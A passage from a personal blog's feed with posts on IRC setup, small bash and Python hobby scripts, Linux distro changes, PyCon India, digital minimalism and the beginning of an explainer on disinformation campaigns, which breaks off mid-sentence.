message buffers don&rsquo;t persist in ZNC and it&rsquo;s very annoying to have to do a <code>/query nerdypepper</code> (Weechat) or to search and message a user via Revolution IRC. The only unexplored option&mdash;using a channel.</p> <h2 id="setting-up-a-channel-for-dms">Setting up a channel for DMs</h2> <p>A fairly easy process:</p> <ul> <li><p>Set modes (on Rizon)<sup class="footnote-ref" id="fnref:modes"><a href="#fn:modes">2</a></sup>:</p> <pre><code>#crimson [+ilnpstz 3] </code></pre> <p>In essence, this limits the users to 3 (one bot), sets the channel to invite only, hides the channel from <code>/whois</code> and <code>/list</code>, and a few other misc. modes.</p></li> <li><p>Notifications: Also a trivial task; a quick modification to <a href="https://weechat.org/scripts/source/lnotify.py.html/" rel="nofollow">lnotify.py</a> to send a notification for all messages in the specified buffer (<code>#crimson</code>) did the trick for Weechat. Revolution IRC, on the other hand, has an option to setup rules for notifications&mdash;super convenient.</p></li> <li><p>A bot: Lastly, a bot for a few small tasks&mdash;fetching URL titles, responding to <code>.np</code> (now playing) etc. Writing an IRC bot is dead simple, and it took me about an hour or two to get most of the basic functionality in place. The source is <a href="https://github.com/icyphox/detotated" rel="nofollow">here</a>. It is by no means &ldquo;good code&rdquo;; it breaks spectacularly from time to time.</p></li> </ul> <h2 id="in-conclusion">In conclusion</h2> <p>As the subtitle suggests, using IRC has been great. It&rsquo;s probably not for everyone though, but it fits my (and Nerdy&rsquo;s) usecase perfectly.</p> <p>P.S.: <em>I&rsquo;m not sure why the footnotes are reversed.</em></p> <div class="footnotes"> <hr /> <ol> <li id="fn:deltachat">It&rsquo;s in <a href="https://github.com/icyphox/site/issues/10" rel="nofollow">queue</a>. <a class="footnote-return" href="#fnref:deltachat"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:modes">Channel modes on <a href="https://wiki.rizon.net/index.php?title=Channel_Modes" rel="nofollow">Rizon</a>. <a class="footnote-return" href="#fnref:modes"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + The intelligence conundrum + 2019-10-28T00:00:00Z + tag:icyphox.sh/,2019-10-28:blog/intel-conundrum + + <h2>To protect an asset, or to protect the people?</h2> <p>I watched the latest <a href="https://en.wikipedia.org/wiki/S.W.A.T._(2017_TV_series" rel="nofollow">S.W.A.T.</a>) episode a couple of days ago, and it highlighted some interesting issues that intelligence organizations face when working with law enforcement. Side note: it&rsquo;s a pretty good show if you like police procedurals.</p> <h2 id="the-problem">The problem</h2> <p>Consider the following scenario:</p> <ul> <li>There&rsquo;s a local drug lord who&rsquo;s been recruited to provide intel, by a certain 3-letter organization.</li> <li>Local PD busts his operation and proceed to arrest him.</li> <li>3-letter org steps in, wants him released.</li> </ul> <p>So here&rsquo;s the thing, his presence is a threat to public but at the same time, he can be a valuable long term asset&mdash;giving info on drug inflow, exchanges and perhaps even actionable intel on bigger fish who exist on top of the ladder. But he also seeks security. The 3-letter org must provide him with protection, in case he&rsquo;s blown. And like in our case, they&rsquo;d have to step in if he gets arrested.</p> <p>Herein lies the problem. How far should an intelligence organization go to protect an asset? Who matters more, the people they&rsquo;ve sworn to protect, or the asset? Because afterall, in the bigger picture, local PD and intel orgs are on the same side.</p> <p>Thus, the question arises&mdash;how can we measure the &ldquo;usefulness&rdquo; of an asset to better quantify the tradeoff that is to be made? Is the intel gained worth the loss of public safety? This question remains largely unanswered, and is quite the predicament should you find yourself in it.</p> <p>This was a fairly short post, but an interesting problem to ponder nonetheless.</p> + + + Hacky scripts + 2019-10-24T00:00:00Z + tag:icyphox.sh/,2019-10-24:blog/hacky-scripts + + <h2>The most fun way to learn to code</h2> <p>As a CS student, I see a lot of people around me doing courses online to learn to code. Don&rsquo;t get me wrong&mdash;it probably works for some. Everyone learns differently. But that&rsquo;s only going to get you so far. Great you know the syntax, you can solve some competitive programming problems, but that&rsquo;s not quite enough, is it? The actual learning comes from <em>applying</em> it in solving <em>actual</em> problems&mdash;not made up ones. (<em>inb4 some seething CP bro comes at me</em>)</p> <p>Now, what&rsquo;s an actual problem? Some might define it as real world problems that people out there face, and solving it probably requires building a product. This is what you see in hackathons, generally.</p> <p>If you ask me, however, I like to define it as problems that <em>you</em> yourself face. This could be anything. Heck, it might not even be a &ldquo;problem&rdquo;. It could just be an itch that you want to scratch. And this is where <strong>hacky scripts</strong> come in. Unclear? Let me illustrate with a few examples.</p> <h2 id="now-playing-status-in-my-bar">Now playing status in my bar</h2> <p>If you weren&rsquo;t aware already&mdash;I rice my desktop. A lot. And a part of this cohesive experience I try to create involves a status bar up at the top of my screen, showing the time, date, volume and battery statuses etc.</p> <p>So here&rsquo;s the &ldquo;problem&rdquo;. I wanted to have my currently playing song (Spotify), show up on my bar. How did I approach this? A few ideas popped up in my head:</p> <ul> <li>Send <code>playerctl</code>&rsquo;s STDOUT into my bar</li> <li>Write a Python script to query Spotify&rsquo;s API</li> <li>Write a Python/shell script to query Last.fm&rsquo;s API</li> </ul> <p>The first approach bombed instantly. <code>playerctl</code> didn&rsquo;t recognize my Spotify client and whined about some <code>dbus</code> issues to top it off. I spent a while in that rabbit hole but eventually gave up.</p> <p>My next avenue was the Spotify Web API. One look at the <a href="https://developer.spotify.com/documentation/web-api/" rel="nofollow">docs</a> and I realize that I&rsquo;ll have to make <em>more</em> than one request to fetch the artist and track details. Nope, I need this to work fast.</p> <p>Last resort&mdash;Last.fm&rsquo;s API. Spolier alert, this worked. Also, arguably the best choice, since it shows the track status regardless of where the music is being played. Here&rsquo;s the script in its entirety:</p> <pre><code class="language-shell">#!/usr/bin/env bash # now playing # requires the last.fm API key source ~/.lastfm # `export API_KEY=&quot;&lt;key&gt;&quot;` fg=&quot;$(xres color15)&quot; light=&quot;$(xres color8)&quot; USER=&quot;icyphox&quot; URL=&quot;http://ws.audioscrobbler.com/2.0/?method=user.getrecenttracks&quot; URL+=&quot;&amp;user=$USER&amp;api_key=$API_KEY&amp;format=json&amp;limit=1&amp;nowplaying=true&quot; NOTPLAYING=&quot; &quot; # I like to have it show nothing RES=$(curl -s $URL) NOWPLAYING=$(jq '.recenttracks.track[0].&quot;@attr&quot;.nowplaying' &lt;&lt;&lt; &quot;$RES&quot; | tr -d '&quot;') if [[ &quot;$NOWPLAYING&quot; = &quot;true&quot; ]] then TRACK=$(jq '.recenttracks.track[0].name' &lt;&lt;&lt; &quot;$RES&quot; | tr -d '&quot;') ARTIST=$(jq '.recenttracks.track[0].artist.&quot;#text&quot;' &lt;&lt;&lt; &quot;$RES&quot; | tr -d '&quot;') echo -ne &quot;%{F$light}$TRACK %{F$fg}by $ARTIST&quot; else echo -ne &quot;$NOTPLAYING&quot; fi </code></pre> <p>The <code>source</code> command is used to fetch the API key which I store at <code>~/.lastfm</code>. The <code>fg</code> and <code>light</code> variables can be ignored, they&rsquo;re only for coloring output on my bar. The rest is fairly trivial and just involves JSON parsing with <a href="https://stedolan.github.io/jq/" rel="nofollow"><code>jq</code></a>. That&rsquo;s it! It&rsquo;s so small, but I learnt a ton. For those curious, here&rsquo;s what it looks like running:</p> <p><img src="https://cdn.icyphox.sh/orGJ9.png" alt="" /></p> <h2 id="update-latest-post-on-the-index-page">Update latest post on the index page</h2> <p>This pertains to this very blog that you&rsquo;re reading. I wanted a quick way to update the &ldquo;latest post&rdquo; section in the home page and the <a href="/blog">blog</a> listing, with a link to the latest post. This would require editing the Markdown <a href="https://github.com/icyphox/site/tree/master/pages" rel="nofollow">source</a> of both pages.</p> <p>This was a very interesting challenge to me, primarily because it requires in-place editing of the file, not just appending. Sure, I could&rsquo;ve come up with some <code>sed</code> one-liner, but that didn&rsquo;t seem very fun. Also I hate regexes. Did a lot of research (read: Googling) on in-place editing of files in Python, sorting lists of files by modification time etc. and this is what I ended up on, ultimately:</p> <pre><code class="language-python">#!/usr/bin/env python3 from markdown2 import markdown_path import os import fileinput import sys # change our cwd os.chdir(&quot;bin&quot;) blog = &quot;../pages/blog/&quot; # get the most recently created file def getrecent(path): files = [path + f for f in os.listdir(blog) if f not in [&quot;_index.md&quot;, &quot;feed.xml&quot;]] files.sort(key=os.path.getmtime, reverse=True) return files[0] # adding an entry to the markdown table def update_index(s): path = &quot;../pages/_index.md&quot; with open(path, &quot;r&quot;) as f: md = f.readlines() ruler = md.index(&quot;| -- | --: |\n&quot;) md[ruler + 1] = s + &quot;\n&quot; with open(path, &quot;w&quot;) as f: f.writelines(md) # editing the md source in-place def update_blog(s): path = &quot;../pages/blog/_index.md&quot; s = s + &quot;\n&quot; for l in fileinput.FileInput(path, inplace=1): if &quot;--:&quot; in l: l = l.replace(l, l + s) print(l, end=&quot;&quot;), # fetch title and date meta = markdown_path(getrecent(blog), extras=[&quot;metadata&quot;]).metadata fname = os.path.basename(os.path.splitext(getrecent(blog))[0]) url = &quot;/blog/&quot; + fname line = f&quot;| [{meta['title']}]({url}) | `{meta['date']}` |&quot; update_index(line) update_blog(line) </code></pre> <p>I&rsquo;m going to skip explaining this one out, but in essence, it&rsquo;s <strong>one massive hack</strong>. And in the end, that&rsquo;s my point exactly. It&rsquo;s very hacky, but the sheer amount I learnt by writing this ~50 line script can&rsquo;t be taught anywhere.</p> <p>This was partially how <a href="https://github.com/icyphox/vite" rel="nofollow">vite</a> was born. It was originally intended to be a script to build my site, but grew into a full-blown Python package. I could&rsquo;ve just used an off-the-shelf static site generator given that there are <a href="https://staticgen.com" rel="nofollow">so many</a> of them, but I chose to write one myself.</p> <p>And that just about sums up what I wanted to say. The best and most fun way to learn to code&mdash;write hacky scripts. You heard it here.</p> + + + Status update + 2019-10-17T00:00:00Z + tag:icyphox.sh/,2019-10-17:blog/2019-10-17 + + <h2>Not weekly anymore, but was it ever?</h2> <p>I&rsquo;ve decided to drop the &ldquo;Weekly&rdquo; part of the status update posts, since they were never weekly and&mdash;let&rsquo;s be honest&mdash;they aren&rsquo;t going to be. These posts are, henceforth, just &ldquo;Status updates&rdquo;. The date range can be inferred from the post date.</p> <p>That said, here&rsquo;s what I&rsquo;ve been up to!</p> <h2 id="void-linux">Void Linux</h2> <p>Yes, I decided to ditch Alpine in favor of Void. Alpine was great, really. The very comfy <code>apk</code>, ultra mnml system&hellip; but having to maintain a chroot for my glibc needs was getting way too painful. And the package updates are so slow! Heck, they&rsquo;re still on kernel 4.xx on their supposed &ldquo;bleeding&rdquo; <code>edge</code> repo.</p> <p>So yes, Void Linux it is. Still a very clean system. I&rsquo;m loving it. I also undervolted my system using <a href="https://github.com/georgewhewell/undervolt" rel="nofollow"><code>undervolt</code></a> (-95 mV). Can&rsquo;t say for sure if there&rsquo;s a noticeable difference in battery life though. I&rsquo;ll see if I can run some tests.</p> <p>This <em>should</em> be the end of my distro hopping. Hopefully.</p> <h2 id="pycon">PyCon</h2> <p>Yeah yeah, enough already. Read <a href="/blog/pycon-wrap-up">my previous post</a>.</p> <h2 id="this-website">This website</h2> <p>I&rsquo;ve moved out of GitHub Pages over to Netlify. This isn&rsquo;t my first time using Netlify, though. I used to host my old blog which ran Hugo, there. I was tired of doing this terrible hack to maintain a single repo for both my source (<code>master</code>) and deploy (<code>gh-pages</code>). In essence, here&rsquo;s what I did:</p> <pre><code class="language-shell">#!/usr/bin/env bash git push origin master # push contents of `build/` to the `gh-pages` branch git subtree push --prefix build origin gh-pages </code></pre> <p>I can now simply push to <code>master</code>, and Netlify generates a build for me by installing <a href="https://github.com/icyphox/vite" rel="nofollow">vite</a>, and running <code>vite build</code>. Very pleasant.</p> <h2 id="mnmlwm-s-status"><code>mnmlwm</code>&rsquo;s status</h2> <p><a href="https://github.com/minimalwm/minimal" rel="nofollow">mnmlwm</a>, for those unaware, is my pet project which aims to be a simple window manager written in Nim. I&rsquo;d taken a break from it for a while because Xlib is such a pain to work with (or I&rsquo;m just dense). Anyway, I&rsquo;m planning on getting back to it, with some fresh inspiration from Dylan Araps&rsquo; <a href="https://github.com/dylanaraps/sowm" rel="nofollow">sowm</a>.</p> <h2 id="other">Other</h2> <p>I&rsquo;ve been reading a lot of manga lately. Finished <em>Kekkon Yubiwa Monogatari</em> (till the latest chapter) and <em>Another</em>, and I&rsquo;ve just started <em>Kakegurui</em>. I&rsquo;ll reserve my opinions for when I update the <a href="/reading">reading log</a>.</p> <p>That&rsquo;s about it, and I&rsquo;ll see you&mdash;definitely not next week.</p> + + + PyCon India 2019 wrap-up + 2019-10-15T00:00:00Z + tag:icyphox.sh/,2019-10-15:blog/pycon-wrap-up + + <h2>Pretty fun weekend, I'd say</h2> <p>I&rsquo;m writing this article as I sit in class, back on the grind. Last weekend&mdash;Oct 12th and 13th&mdash;was PyCon India 2019, in Chennai, India. It was my first PyCon, <em>and</em> my first ever talk at a major conference! This is an account of the all the cool stuff I saw, people I met and the talks I enjoyed. Forgive the lack of pictures&mdash;I prefer living the moment through my eyes.</p> <h2 id="talks">Talks</h2> <p>So much ML! Not that it&rsquo;s a bad thing, but definitely interesting to note. From what I counted, there were about 17 talks tagged under &ldquo;Data Science, Machine Learning and AI&rdquo;. I&rsquo;d have liked to see more talks discussing security and privacy, but hey, the organizers can only pick from what&rsquo;s submitted. ;)</p> <p>With that point out of the way, here are some of the talks I really liked:</p> <ul> <li><strong>Python Packaging - where we are and where we&rsquo;re headed</strong> by <a href="https://twitter.com/pradyunsg" rel="nofollow">Pradyun</a></li> <li><strong>Micropython: Building a Physical Inventory Search Engine</strong> by <a href="https://twitter.com/stonecharioteer" rel="nofollow">Vinay</a></li> <li><strong>Ragabot - Music Encoded</strong> by <a href="https://twitter.com/vikipedia" rel="nofollow">Vikrant</a></li> <li><strong>Let&rsquo;s Hunt a Memory Leak</strong> by <a href="https://twitter.com/sankeyplus" rel="nofollow">Sanket</a></li> <li>oh and of course, <a href="https://twitter.com/dabeaz" rel="nofollow">David Beazley</a>&rsquo;s closing keynote</li> </ul> <h2 id="my-talk">My talk (!!!)</h2> <p>My good buddy <a href="https://twitter.com/_vologue" rel="nofollow">Raghav</a> and I spoke about our smart lock security research. Agreed, it might have been less &ldquo;hardware&rdquo; and more of a bug on the server-side, but that&rsquo;s the thing about IoT right? It&rsquo;s so multi-faceted, and is an amalgamation of so many different hardware and software stacks. But, anyway&hellip;</p> <p>I was reassured by folks after the talk that the silence during Q/A was the &ldquo;good&rdquo; kind of silence. Was it really? I&rsquo;ll never know.</p> <h2 id="some-nice-people-i-met">Some nice people I met</h2> <ul> <li><a href="https://twitter.com/abhirathb" rel="nofollow">Abhirath</a>&mdash;A 200 IQ lad. Talked to me about everything from computational biology to the physical implementation of quantum computers.</li> <li><a href="https://twitter.com/meain_" rel="nofollow">Abin</a>&mdash;He recognized me from my <a href="https://reddit.com/r/unixporn" rel="nofollow">r/unixporn</a> posts, which was pretty awesome.</li> <li><a href="https://twitter.com/h6165" rel="nofollow">Abhishek</a></li> <li>Pradyun and Vikrant (linked earlier)</li> </ul> <p>And a lot of other people doing really great stuff, whose names I&rsquo;m forgetting.</p> <h2 id="pictures">Pictures!</h2> <p>It&rsquo;s not much, and I can&rsquo;t be bothered to format them like a collage or whatever, so I&rsquo;ll just dump them here&mdash;as is.</p> <p><img src="https://cdn.icyphox.sh/4oTZB.jpg" alt="" /> <img src="https://cdn.icyphox.sh/EApua.jpg" alt="" /> <img src="https://cdn.icyphox.sh/40hAp.jpg" alt="" /> <img src="https://cdn.icyphox.sh/uCDR-.jpg" alt="" /></p> <h2 id="c-est-tout">C&rsquo;est tout</h2> <p>Overall, a great time and a weekend well spent. It was very different from your typical security conference&mdash;a lot more <em>chill</em>, if you will. The organizers did a fantastic job and the entire event was put together really well. I don&rsquo;t have much else to say, but I know for sure that I&rsquo;ll be there next time.</p> <p>That was PyCon India, 2019.</p> + + + Thoughts on digital minimalism + 2019-10-05T00:00:00Z + tag:icyphox.sh/,2019-10-05:blog/digital-minimalism + + <h2>Put that screen down!</h2> <p>Ah yes, yet another article on the internet on this beaten to death subject. But this is inherently different, since it&rsquo;s <em>my</em> opinion on the matter, and <em>my</em> technique(s) to achieve &ldquo;digital minimalism&rdquo;.</p> <p>According to me, minimalism can be achieved on two primary fronts&mdash;the phone &amp; the computer. Let&rsquo;s start with the phone. The daily carry. The device that&rsquo;s on our person from when we get out of bed, till we get back in bed.</p> <h2 id="the-phone">The phone</h2> <p>I&rsquo;ve read about a lot of methods people employ to curb their phone usage. Some have tried grouping &ldquo;distracting&rdquo; apps into a separate folder, and this supposedly helps reduce their usage. Now, I fail to see how this would work, but YMMV. Another technique I see often is using a time governance app&mdash;like OnePlus&rsquo; Zen Mode&mdash;to enforce how much time you spend using specific apps, or the phone itself. I&rsquo;ve tried this for myself, but I constantly found myself counting down the minutes after which the phone would become usable again. Not helpful.</p> <p>My solution to this is a lot more brutal. I straight up uninstalled the apps that I found myself using too often. There&rsquo;s a simple principle behind it&mdash;if the app has a desktop alternative, like Twitter, Reddit, etc. use that instead. Here&rsquo;s a list of apps that got nuked from my phone:</p> <ul> <li>Twitter</li> <li>Instagram (an exception, no desktop client)</li> <li>Relay for Reddit</li> <li>YouTube (disabled, ships with stock OOS)</li> </ul> <p>The only non-productive app that I&rsquo;ve let remain is Clover, a 4chan client. I didn&rsquo;t find myself using it as much earlier, but we&rsquo;ll see how that holds up. I&rsquo;ve also allowed my personal messaging apps to remain, since removing those would be inconveniencing others.</p> <p>I must admit, I often find myself reaching for my phone out of habit just to check Twitter, only to find that its gone. I also subconsciously tap the place where its icon used to exist (now replaced with my mail client) on my launcher. The only &ldquo;fun&rdquo; thing left on my phone to do is read or listen to music. Which is okay, in my opinion.</p> <h2 id="the-computer">The computer</h2> <p>I didn&rsquo;t do anything too nutty here, and most of the minimalism is mostly aesthetic. I like UIs that get out of the way.</p> <p>My setup right now is just a simple bar at the top showing the time, date, current volume and battery %, along with my workspace indicators. No fancy colors, no flashy buttons and sliders. And that&rsquo;s it. I don&rsquo;t try to force myself to not use stuff&mdash;after all, I&rsquo;ve reduced it elsewhere. :)</p> <p>Now the question arises: Is this just a phase, or will I stick to it? What&rsquo;s going to stop me from heading over to the Play Store and installing those apps back? Well, I never said this was going to be easy. There&rsquo;s definitely some will power needed to pull this off. I guess time will tell.</p> + + + Status update + 2019-09-27T00:00:00Z + tag:icyphox.sh/,2019-09-27:blog/2019-09-27 + + <h2>Alpine Linux shenaningans and more</h2> <p>It&rsquo;s a lazy Friday afternoon here; yet another off day this week thanks to my uni&rsquo;s fest. My last &ldquo;weekly&rdquo; update was 10 days ago, and a lot has happened since then. Let&rsquo;s get right into it!</p> <h2 id="my-switch-to-alpine">My switch to Alpine</h2> <p>Previously, I ran Debian with Buster/Sid repos, and ever since this happened</p> <pre><code class="language-shell">$ dpkg --list | wc -l 3817 # or something in that ballpark </code></pre> <p>I&rsquo;ve been wanting to reduce my system&rsquo;s package count.</p> <p>Thus, I began my search for a smaller, simpler and lighter distro with a fairly sane package manager. I did come across Dylan Araps&rsquo; <a href="https://getkiss.org" rel="nofollow">KISS Linux</a> project, but it seemed a little too hands-on for me (and still relatively new). I finally settled on <a href="https://alpinelinux.org" rel="nofollow">Alpine Linux</a>. According to their website:</p> <blockquote> <p>Alpine Linux is a security-oriented, lightweight Linux distribution based on musl libc and busybox.</p> </blockquote> <p>The installation was a breeze, and I was quite surprised to see WiFi working OOTB. In the past week of my using this distro, the only major hassle I faced was getting my Minecraft launcher to run. The JRE isn&rsquo;t fully ported to <code>musl</code> yet.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup> The solution to that is fairly trivial and I plan to write about it soon. (hint: it involves chroots)</p> <p><img src="https://cdn.icyphox.sh/LDq8W.png" alt="" /></p> <h2 id="packaging-for-alpine">Packaging for Alpine</h2> <p>On a related note, I&rsquo;ve been busy packaging some of the stuff I use for Alpine -- you can see my personal <a href="https://github.com/icyphox/aports" rel="nofollow">aports</a> repository if you&rsquo;re interested. I&rsquo;m currently working on packaging Nim too, so keep an eye out for that in the coming week.</p> <h2 id="talk-selection-at-pycon-india">Talk selection at PyCon India!</h2> <p>Yes! My buddy Raghav (<a href="https://twitter.com/_vologue" rel="nofollow">@_vologue</a>) and I are going to be speaking at PyCon India about our recent smart lock security research. The conference is happening in Chennai, much to our convenience. If you&rsquo;re attending too, hit me up on Twitter and we can hang!</p> <h2 id="other">Other</h2> <p>That essentially sums up the <em>technical</em> stuff that I did. My Russian is going strong, my reading however, hasn&rsquo;t. I have <em>yet</em> to finish those books! This week, for sure.</p> <p>Musically, I&rsquo;ve been experimenting. I tried a bit of hip-hop and chilltrap, and I think I like it? I still find myself coming back to metalcore/deathcore. Here&rsquo;s a list of artists I discovered (and liked) recently:</p> <ul> <li><a href="https://www.youtube.com/watch?v=r3uKGwcwGWA" rel="nofollow">Before I Turn</a></li> <li>生 Conform 死 (couldn&rsquo;t find any official YouTube video, check Spotify)</li> <li><a href="https://www.youtube.com/watch?v=66eFK1ttdC4" rel="nofollow">Treehouse Burning</a></li> <li><a href="https://www.youtube.com/watch?v=m-w3XM2PwOY" rel="nofollow">Lee McKinney</a></li> <li><a href="https://www.youtube.com/watch?v=cUibXK7F3PM" rel="nofollow">Berried Alive</a> (rediscovered)</li> </ul> <p>That&rsquo;s it for now, I&rsquo;ll see you next week!</p> <div class="footnotes"> <hr /> <ol> <li id="fn:1">The <a href="https://aboullaite.me/protola-alpine-java/" rel="nofollow">Portola Project</a> <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Status update + 2019-09-17T00:00:00Z + tag:icyphox.sh/,2019-09-17:blog/2019-09-17 + + <h2>A brief on what happened last week</h2> <p>This is something new I&rsquo;m trying out, in an effort to write more frequently and to serve as a log of how I&rsquo;m using my time. In theory, I will write this post every week. I&rsquo;ll need someone to hold me accountable if I don&rsquo;t. I have yet to decide on a format for this, but it will probably include a quick summary of the work I did, things I read, IRL stuff, etc.</p> <p>With the meta stuff out of the way, here&rsquo;s what went down last week!</p> <h2 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h2> <p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It&rsquo;s a link to the <a href="https://webring.xxiivv.com" rel="nofollow">XXIIVV webring</a>. I really like the idea of webrings. It creates a small community of sites and enables sharing of traffic among these sites. The XXIIVV webring consists mostly of artists, designers and developers and gosh, some of those sites are beautiful. Mine pales in comparison.</p> <p>The webring also has a <a href="https://github.com/buckket/twtxt" rel="nofollow">twtxt</a> echo chamber aptly called <a href="https://webring.xxiivv.com/hallway.html" rel="nofollow">The Hallway</a>. twtxt is a fantastic project and its complexity-to-usefulness ratio greatly impresses me. You can find my personal twtxt feed at <code>/twtxt.txt</code> (root of this site).</p> <p>Which brings me to the next thing I did this/last week.</p> <h2 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h2> <p>I&rsquo;m not a fan of the official Python client, because you know, Python is bloat. As an advocate of <em>mnmlsm</em>, I can&rsquo;t use it in good conscience. Thus, began my authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh" rel="nofollow">here</a>. It&rsquo;s not entirely useable as of yet, but it&rsquo;s definitely getting there, with the help of <a href="https://nerdypepper.me" rel="nofollow">@nerdypepper</a>.</p> <h2 id="other">Other</h2> <p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage, Darknet Diaries &amp; Off the Pill. To add to this list, I&rsquo;ve begun binging Vice&rsquo;s CYBER. It&rsquo;s pretty good&mdash;each episode is only about 30 mins and it hits the sweet spot, delvering both interesting security content and news.</p> <p>My reading needs a ton of catching up. Hopefully I&rsquo;ll get around to finishing up &ldquo;The Unending Game&rdquo; this week. And then go back to &ldquo;Terrorism and Counterintelligence&rdquo;.</p> <p>I&rsquo;ve begun learning Russian! I&rsquo;m really liking it so far, and it&rsquo;s been surprisingly easy to pick up. Learning the Cyrillic script will require some relearning, especially with letters like в, н, р, с, etc. that look like English but sound entirely different. I think I&rsquo;m pretty serious about learning this language&mdash;I&rsquo;ve added the Russian keyboard to my Google Keyboard to aid in my familiarization of the alphabet. I&rsquo;ve added the <code>RU</code> layout to my keyboard map too:</p> <pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru </code></pre> <p>With that ends my weekly update, and I&rsquo;ll see you next week!</p> + + + Disinformation demystified + 2019-09-10T00:00:00Z + tag:icyphox.sh/,2019-09-10:blog/disinfo + + <h2>Misinformation, but deliberate</h2> <p>As with the disambiguation of any word, let&rsquo;s start with its etymology and definiton. According to <a href="https://en.wikipedia.org/wiki/Disinformation" rel="nofollow">Wikipedia</a>, <em>disinformation</em> has been borrowed from the Russian word &mdash; <em>dezinformatisya</em> (дезинформа́ция), derived from the title of a KGB black propaganda department.</p> <blockquote> <p>Disinformation is false information spread deliberately to deceive.</p> </blockquote> <p>To fully understand disinformation, especially in the modern age, we need to understand the key factors of any successful disinformation operation:</p> <ul> <li>creating disinformation (what)</li> <li>the motivation behind the op, or its end goal (why)</li> <li>the medium used to disperse the falsified information (how)</li> <li>the actor (who)</li> </ul> <p>At the end, we&rsquo;ll also look at how you can use disinformation techniques to maintain OPSEC.</p> <p>In order to break monotony, I will also be using the terms &ldquo;information operation&rdquo;, or the shortened forms&mdash;&ldquo;info op&rdquo; &amp; &ldquo;disinfo&rdquo;.</p> <h2 id="creating-disinformation">Creating disinformation</h2> <p>Crafting or creating disinformation is by no means a trivial task. Often, the quality of any disinformation sample is a huge indicator of the level of sophistication of the actor involved, i.e. is it a 12 year old troll or a nation state?</p> <p>Well crafted disinformation always has one primary characteristic &mdash; &ldquo;plausibility&rdquo;. The disinfo must sound reasonable. It must induce the notion it&rsquo;s <em>likely</em> true. To achieve this, the target &mdash; be it an individual, a specific demographic or an entire nation &mdash; must be well researched. A deep understanding of the target&rsquo;s culture, history, geography and psychology is required. It also needs circumstantial and situational awareness, of the target.</p> <p>There are many forms of disinformation. A few common ones are staged videos / photographs, recontextualized videos / photographs, blog posts, news articles &amp; most recently &mdash; deepfakes.</p> <p>Here&rsquo;s a tweet from <a href="https://twitter.com/thegrugq" rel="nofollow">the grugq</a>, showing a case of recontextualized imagery:</p> <p><blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff"> <p lang="en" dir="ltr">Disinformation. <br><br> The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake. <br><br>Recontextualisation as threat vector. <a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a> </p>&mdash; thaddeus e. grugq (@thegrugq) <a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a> </blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script></p> <h2 id="motivations-behind-an-information-operation">Motivations behind an information operation</h2> <p>I like to broadly categorize any info op as either proactive or reactive. Proactively, disinformation is spread with the desire to influence the target either before or during the occurence of an event. This is especially observed during elections.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup> In offensive information operations, the target&rsquo;s psychological state can be affected by spreading <strong>fear, uncertainty &amp; doubt</strong>, or FUD for short.</p> <p>Reactive disinformation is when the actor, usually a nation state in this case, screws up and wants to cover their tracks. A fitting example of this is the case of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over eastern Ukraine. This tragic incident has been attributed to Russian-backed separatists.<sup class="footnote-ref" id="fnref:2"><a href="#fn:2">2</a></sup> Russian media is known to have desseminated a number of alternative &amp; some even conspiratorial theories<sup class="footnote-ref" id="fnref:3"><a href="#fn:3">3</a></sup>, in response. The number grew as the JIT&rsquo;s (Dutch-lead Joint Investigation Team) investigations pointed towards the separatists. The idea was to <strong>muddle the information</strong> space with these theories, and as a result, potentially correct information takes a credibility hit.</p> <p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use in totalitarian regimes; when the government decides what the media portrays to the masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref:4"><a href="#fn:4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests" rel="nofollow">NPR</a>:</p> <blockquote> <p>Official state media pin the blame for protests on the &ldquo;black hand&rdquo; of foreign interference, namely from the United States, and what they have called criminal Hong Kong thugs. A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters, who are demanding an end to an extradition bill with China and the ability to elect their own leader. Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience, this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police. &hellip;</p> </blockquote> <h2 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h2> <p>As seen in the above example of totalitarian governments, national TV and newspaper agencies play a key role in influence ops en masse. It guarantees outreach due to the channel/paper&rsquo;s popularity.</p> <p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to generate activity programmatically via the API, Twitter bots are the go-to choice today for info ops. Essentially, an actor attempts to create &ldquo;discussions&rdquo; amongst &ldquo;users&rdquo; (read: bots), to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to get realtime insights into what sticks and what doesn&rsquo;t. The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll factory &mdash; the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency" rel="nofollow">Internet Research Agency</a> (IRA) to create discussions about alternative theories.</p> <p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties actively invest in creating group chats to spread political messages and memes. These parties have volunteers whose sole job is to sit and forward messages. Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases, this is disinformation without a motive, or the motive is hard to determine simply because the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref:5"><a href="#fn:5">5</a></sup> This is a difficult problem to combat, especially given the nature of the target audience.</p> <h2 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h2> <p>I doubt this requires further elaboration, but in 